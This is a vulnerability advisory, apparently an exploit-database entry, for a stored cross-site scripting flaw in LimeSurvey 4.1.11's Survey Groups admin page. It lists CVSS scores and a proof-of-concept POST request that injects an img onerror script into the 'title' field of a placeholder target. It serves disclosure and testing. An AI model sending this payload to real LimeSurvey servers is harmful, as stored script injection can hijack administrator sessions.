LimeSurvey 4.1.11 Cross Site Scripting

2020.04.07
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting # Date: 2020-04-02 # Exploit Author: Matthew Aberegg, Michael Burkey # Vendor Homepage: https://www.limesurvey.org # Version: LimeSurvey 4.1.11+200316 # Tested on: Ubuntu 18.04.4 # CVE : CVE-2020-11456 # Vulnerability Details Description : A stored cross-site scripting vulnerability exists within the "Survey Groups" functionality of the LimeSurvey administration panel. Vulnerable Parameter : "title" # POC POST /limesurvey/index.php/admin/surveysgroups/sa/create HTTP/1.1 Host: TARGET Content-Length: 374 Cache-Control: max-age=0 Origin: http://TARGET Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://TARGET/limesurvey/index.php/admin/surveysgroups/sa/create Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: LS-ERXSBPYJOOGIGFYW=7ge1q4rvsdgs0b6usksh3j5lb0; YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D Connection: close YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D&SurveysGroups%5Bowner_id%5D=&SurveysGroups%5Bgsid%5D=&SurveysGroups%5Bname%5D=XSSTEST&SurveysGroups%5Btitle%5D=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&SurveysGroups%5Bdescription%5D=This+is+a+test.&SurveysGroups%5Bsortorder%5D=4&SurveysGroups%5Bparent_id%5D=&yt0=


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